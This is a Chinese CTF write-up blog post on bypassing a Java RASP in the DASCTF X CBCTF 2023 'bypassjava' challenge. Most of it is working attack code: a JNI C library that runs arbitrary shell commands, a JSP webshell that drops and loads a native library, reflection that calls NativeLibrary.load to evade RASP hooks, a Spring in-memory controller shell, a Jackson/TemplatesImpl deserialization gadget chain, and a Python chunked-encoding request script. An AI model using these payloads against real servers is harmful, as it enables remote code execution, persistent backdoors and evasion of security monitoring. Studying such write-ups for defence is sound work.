 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_jackson_Cmdclass_execCmd
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

参照头文件写恶意c文件,包含头文件

#include "jackson_Cmdclass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execCmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_jackson_Cmdclass_execCmd(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execCmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}
gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o libcmd.so Rce.c

小细节

注意想要在别的地方使用这个cmd.dll时,要保证Cmdclass这个类的包名要和当时生成cmd.dll的一样

不能在别的包下复制粘贴个内容一摸一样的Cmdclass,这样也是行不通的

举个例子

我的cmd.dll是由com.javasec包下的文件一步步生成的

若我在另外一个包下复制粘贴Cmdclass的内容,看看是什么情况

package Rome;      //只是package不一样

public class Cmdclass{
    public native String execCmd(String cmd);
}

image-20231127174137966

import原来包下的Cmdclass是可以的

image-20231127174341925

所以关键的就是Cmdclass的包名要和当初生成cmd.dll的一样

JSP shell (不重要,实战把so文件写入服务器的)

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Method" %>
<%-- load_library_cmd_all.jsp?cmd=ls --%>
<%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 --%>
<%!
    private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";

    /**
     * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
     * 只有一个public static native String exec(String cmd);的方法
     */
    private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
            0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
            101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
            101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
            99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
            111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
            2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
            0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
            9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    };

    /**
     * 获取JNI链接库目录
     * @return 返回缓存JNI的临时目录
     */
    File getTempJNILibFile() {
        File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");

        if (!jniDir.exists()) {
            jniDir.mkdir();
        }

        String filename;

        if (isWin()) {
            filename = "cmd.dll";
        } else {
            if (isMac()) {
                filename = "libcmd.lib";
            } else {
                filename = "libcmd.so";
            }
        }


        return new File(jniDir, filename);
    }


    boolean isWin() {
        return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
    }

    boolean isWin32() {
        return "32".equals(System.getProperty("sun.arch.data.model"));
    }

    boolean isMac() {
        return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
    }


    /**
     * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
     * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
     * @param str
     * @return
     */
    byte[] base64Decode(String str) {
        try {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (ClassNotFoundException e) {
                Class  clazz   = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        } catch (Exception e) {
            return null;
        }
    }

    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    void writeJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniFile = getTempJNILibFile();

            if (!jniFile.exists()) {
                byte[] bytes = base64Decode(base64);

                if (bytes != null) {
                    FileOutputStream fos = new FileOutputStream(jniFile);
                    fos.write(bytes);
                    fos.flush();
                    fos.close();
                }
            }
        }
    }
%>
<%
    String cmd = request.getParameter("cmd");
    String jniBytes = request.getParameter("jni");


    String COMMAND_JNI_FILE_BYTES;
    if (isWin()) {
        if (isWin32()) {
            // windows 32
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        } else {
            // windows 64
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        }
    } else {
        if (isMac()) {
            // mac
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        } else {
            // centos 7 64
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        }
    }


    // JNI路径
    File jniFile = getTempJNILibFile();
    ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");

    if (loader == null) {
        loader = new ClassLoader(this.getClass().getClassLoader()) {
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    return super.findClass(name);
                } catch (ClassNotFoundException e) {
                    return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                }
            }
        };

        writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录

        application.setAttribute("__LOADER__", loader);
    }

    try {
        // load命令执行类
        Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
        Object loadLib      = application.getAttribute("__LOAD_LIB__");

        if (loadLib == null || !((Boolean) loadLib)) {
            Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
            loadLibrary0Method.setAccessible(true);
            loadLibrary0Method.invoke(loader, commandClass, jniFile);
            application.setAttribute("__LOAD_LIB__", true);
        }

        String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
        out.println("<pre>");
        out.println(content);
        out.println("</pre>");
    } catch (Exception e) {
        out.println(e.toString());
        throw e;
    }

%>

load_library.jsp默认提供了一个MacOSXJNI库字符串Demo其他系统需要自行编译:com_anbai_sec_cmd_CommandExecution.cpp,编译方式参考后面的JNI章节。load_library.jsp接收两个参数:cmdjni,参数描述:

  1. cmd需要执行的本地命令
  2. jni 动态链接库文件Base64+URL编码后的字符串(urlEncode(base64Encode(jniFile))),jni参数默认可以不传但是需要手动修改jsp中的COMMAND_JNI_FILE_BYTES变量,jni参数只需要传一次,第二次请求不需要带上。

DASCTF X CBCTF 2023 bypassjava

前面用到chunked编码绕过getContentlength (Boogipop大佬的图)

image-20231127223246594

image-20231127223305762

image-20231127223318053

image-20231127223331810

image-20231127223343051

也就看个过程,本地调试调不了一点,根本不会啊,有没有人教我

看一下pankas师傅也就是出题人,说的追溯调用栈、追溯源码

在调用栈的开头java.lang.Thread的run启动后,过几个调用栈就会看到进入org.apache.coyote.http11.Http11ProcessorprepareInputFilters查看请求头中有没有transfer-encoding

image-20231209234042357

然后在addInputFilter中匹配chunked,但没看懂他匹配成功后干了啥

image-20231209234825915

退出addInputFilter后,prepareInputFilters继续往下会调用getContentLengthLong

image-20231209235050295

this.contentLength为-1,进入else的逻辑,判断请求头中有没有content-length,没有返回-1

image-20231209235003325

因为getContentLengthLong返回-1,所以进入if语句,又因为addInputFilter中设置contentDelimitationtrue,所以设置/read这个requestContentLength为-1

image-20231209235939026

到了后面doFilter然后getContentLength的时候调用的getContentLengthLong因为this.contentLength为-1,进入else的逻辑,最后获取的length-1(是(int)length为-1,而不是不满足判断条件才为-1),

image-20231210001040303

出题人发包的图(但是不是说Transfer-Encoding和Content-Length不是不能同时出现吗。。。不懂)

image-20231210001708134

注意chunked编码的格式

JNI绕过RASP

查看rasp的jar包发现不仅hook了forkAndExec,还hook了 loadLibrary0

image-20231119164847556

我们通过分析System.load方法,会发现比loadLibrary0还要底层的是NativeLibraryload方法,我们反射调用它即可绕过

image-20231119155237308

image-20231119154915494

image-20231119155007555

package jackson;

public class Cmdclass{
    public native String execCmd(String cmd); 
}
javac .\Cmdclass.java

javac -cp . .\Cmdclass.java -h jackson.Cmdclass
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class jackson_Cmdclass */

#ifndef _Included_jackson_Cmdclass
#define _Included_jackson_Cmdclass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     jackson_Cmdclass
 * Method:    execCmd
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_jackson_Cmdclass_execCmd
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

参照头文件写恶意c文件,包含头文件

#include "jackson_Cmdclass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execCmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_jackson_Cmdclass_execCmd(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execCmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}
gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c

将该so文件base64编码放到java代码中方便加载

package jackson;

import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.util.Base64;

public class GetJNIBase64 {
    public static void main(String[] args) {
        try {
            RandomAccessFile r = new RandomAccessFile("C:\\Users\\86136\\Desktop\\fsdownload\\libcmd.so", "r");
            byte[] content = new byte[(int) r.length()];
            r.read(content);
            String s = Base64.getEncoder().encodeToString(content);
            System.out.println(s);
            r.close();
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

利用 TemplateImpl 来执行java代码,这里和内存马直接就放一起了

注意!!!这个内存马的包名和上面我们的cmdClass必须全部对应,否则就会报错(Boogipop大佬是这样说的) (跟我上面说的包名一致好像差不多)

package jackson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;

public class Cmdclass extends AbstractTranslet{

    public static native String execCmd(String cmd);
    //恶意动态链接库文件的base64编码
    private static final String EVIL_JNI_BASE64 = ".......";
    private static final String LIB_PATH = "/tmp/libcmd.so";

    static {
        try {
            byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
            RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
            randomAccessFile.write(jniBytes);
            randomAccessFile.close();

            //调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
            ClassLoader cmdLoader = Cmdclass.class.getClassLoader();
            Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
            Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
            Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
            load.setAccessible(true);
            Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
            field.setAccessible(true);
            Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
            Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
            nativeLibraryCons.setAccessible(true);
            Object nativeLibraryObj = nativeLibraryCons.newInstance(Cmdclass.class, LIB_PATH, false);
            libs.addElement(nativeLibraryObj);
            field.set(cmdLoader, libs);
            load.invoke(nativeLibraryObj, LIB_PATH, false);


            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = Cmdclass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            Cmdclass springControllerMemShell = new Cmdclass();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
            hi.printStackTrace();
        }
    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {

        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            String execRes = Cmdclass.execCmd(cmd);
            response.getWriter().write(execRes);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

jackson记得老规矩重写BaseJsonNode删掉writeReplace方法

package jackson;

import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {

        Templates templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Repository.lookupClass(Cmdclass.class).getBytes();
        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
//
//
        POJONode jsonNodes = new POJONode(templatesimpl);
//
        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);

        setValue(exp,"val",jsonNodes);

        System.out.println(serial(exp));

    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

}
import requests

#结尾无 /
baseUrl = "http://xxx.xxx.xxx.xxx"
burp0_url = baseUrl + "/read"
burp0_headers = {"Transfer-Encoding": "chunked", "Content-Type": "text/plain", "Connection": "close"}
payload = """........"""

hex_string = hex(len(payload))[2:]
hex_string = str(hex_string)
burp0_data = f"{hex_string}\r\n{payload}\r\n0\r\n\r\n"   #chunked编码格式
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(res.text)
res = requests.get(baseUrl + "/shell?cmd=/readflag")
print(res.text)

image-20231127213739145

见证历史性的一刻,嘻嘻,真的看了好久了(快十几天了,断断续续的),终于成功了

DASCTFXCBCTF_2023_bypassJava_Wp (pankas.top)

强大的Boogipop大佬WP

总结

值得一提的是这篇文章的题都是用jackson打的,在写这一篇时终于会利用Jackson了,并且完善了jackson那篇文章

rasp也是多学到了一个知识点

但是也不是什么都懂了,有关代码具体部分要我写我肯定是写不出来的,只能算多学一个知识点

这样不行啊,还是得向Boogipop大佬学习尽快学完javaweb、webmvc、servlet等等,不然内存马也学不了一点

reference

https://dummykitty.github.io/posts/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87-RASP

https://boogipop.com/2023/11/05/DASCTF%20X%20CBCTF%202023%20Web%20%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0%20Writeup/

https://pankas.top/2023/10/22/dasctfxcbctf-2023-bypassjava-wp/


提及rasp的java题
https://zer0peach.github.io/2023/11/15/提及rasp的java题/
作者
Zer0peach
发布于
2023年11月15日
许可协议